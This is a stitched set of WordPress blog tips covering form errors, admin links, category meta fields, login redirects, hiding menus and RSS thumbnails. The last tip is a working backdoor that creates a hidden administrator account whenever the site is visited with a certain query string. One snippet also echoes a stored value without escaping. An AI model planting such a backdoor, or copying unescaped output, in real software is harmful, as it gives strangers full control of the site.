Working on a client site recently I needed to customize how error messages were displayed in Gravity Forms. By default GF will display an error message above the form if any field values aren’t validated (ie a required field is left empty). On this particular website I wanted the error message to display in a simple JavaScript popup, instead of on the page. Below is the code I used to do just that:

add_filter( 'gform_validation_message', 'sw_gf_validation_message', 10, 2 );

function sw_gf_validation_message( $validation_message ) {

	//display error JS popup
	add_action( 'wp_footer', 'sw_gf_js_error' );

}

function sw_gf_js_error() {
	?>
	<script type="text/javascript">
		alert( "Please fill out all required fields indicated by a *" );
	</script>
	<?php
}

As you can see I’m using the gform_validation_message filter to customize how the error message is processed. The PHP variable $validation_message stores the original error message GF was going to display. In this example I didn’t use the original error message, but you could easily pass that to your JS popup if needed.

This is a pretty simple example of customizing the Gravity Forms error message. Enjoy!

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To add a link, or modify any of the existing action links, we’re going to use the manage_sites_action_links action filter in WordPress. This filter will allow us to modify the action links before they are displayed on the screen. This means you can add, or remove, any links you want.

Let’s look at the code:

add_filter( 'manage_sites_action_links', 'my_plugin_network_list_action', null, 2 );

function my_plugin_network_list_action( $actions, $blog_id ) {

    $actions = array_merge( $actions, array(
	'custom_link' => '<a href="'. network_admin_url( 'sites.php' ).'">My Custom Link</a>'
    ));

    return $actions;

}

First we call the manage_sites_action_links filter hook which executes our custom function my_plugin_network_list_action(). Our function accepts two parameters: The $actions array which contains all action links and the $blog_id which stores the site ID of the site we are hovering in the list.

To add a link we are going to use the PHP function array_merge() to merge our link into the array of existing links. In this example I added a link named “My Custom Link” which links to the Network Admin sites list. The final step is to return the $actions variable. Simple as that!

For more awesome WordPress plugin goodies check out my new book: Professional WordPress Plugin Development

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First we need to add a form field to the Edit Category screen. To do this we’ll use the edit_category_form_fields action hook available in WordPress:

<?php
add_action ( 'edit_category_form_fields', 'tme_cat_featured');

function tme_cat_featured( $tag ) {

	//check for existing featured ID
	$cat_featured = get_option( 'category_featured' );
	$featured_id = '';
	if ( is_array( $cat_featured ) && array_key_exists( $tag->term_id, $cat_featured ) ) {
		$featured_id = $cat_featured[$tag->term_id] ;
	}
?>
    <tr class="form-field">
        <th scope="row" valign="top"><label for="category_featured"><?php _e('Featured Post ID') ?></label></th>
        <td>
        	<input type="text" name="category_featured" id="category_featured" size="3" style="width:5%;" value="<?php echo $featured_id; ?>"><br />
            <span class="description">The post ID that will be the featured post when viewing this category.</span>
        </td>
    </tr>

<?php
}
?>

The above code will add a single text field (Featured Post ID) to the Edit Category screen as shown in the screenshot below:

Now that we’ve added a text field to our Edit Category page we need to save the input to our option array. To capture the ID when a category is updated we’ll use the edited_category action hook like so:

<?php
add_action ( 'edited_category', 'tme_save_featured');

function tme_save_featured( $term_id ) {
	if ( isset( $_POST['category_featured'] ) ) {

		//load existing category featured option
		$current_featured = get_option( 'category_featured' );

		//set featured post ID to proper category ID in options array
		$current_featured[$term_id] = intval( $_POST['category_featured'] );

		//save the option array
		update_option( 'category_featured', $current_featured );
	}
}
?>

As you can see we are saving the Category ID and Featured Post ID as a single associative array option value in WordPress named category_featured. As you add Featured Post ID values to each of your categories they will be added to this array and saved in WordPress. One thing to consider when using this method is scalability. If you plan on storing thousands of meta data values for your taxonomies this isn’t the method for you.

I packaged this example into a stand alone plugin so you can easily install on your WordPress website and test it out: Download the Taxonomy Meta Data plugin example.

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/%author%/%postname%/

That’s all there is to it! Now the user URL will be http://example.com/username just like in Facebook! To create a custom author page design simply edit (or create if it doesn’t exist) the author.php template file in your theme directory. Below is a screenshot of the custom permalink structure:

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<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

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<?php
add_action('login_form', 'redirect_after_login');

function redirect_after_login() {
	global $redirect_to;
	if (!isset($_GET['redirect_to'])) {
		$redirect_to = get_option('siteurl');
	}
}
?>

The preceding code snippet will redirect any user who logs in to the home page (siteurl) of WordPress. You can easily set any redirect URL you want by changing the value of the $redirect_to variable. This function also verifies that the redirect_to querystring doesn’t exist before setting the redirect URL.

It’s as easy as that! Now you can easily control where your users are redirected to when they login to WordPress.

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<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	global $current_user;
	get_currentuserinfo();

	If($current_user->user_login != 'admin') {
		?>
		<style>
		   #menu-plugins{
				display:none;
			}
		</style>
		<?php
	}
}
?>

As another example lets say we want to hide the Links menu from all users that aren’t administrators in WordPress. The below code would do just that:

<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	if ( !current_user_can('manage_options') ) {
		?>
		<style>
		   #menu-links{
				display:none;
			}
		</style>
		<?php
	}
}
?>

This is a pretty simple method of hiding menus in the WordPress admin dashboard. Enjoy!

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$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);

The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.

Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.

We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:

$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);

This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!

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function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
	}

	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

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<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

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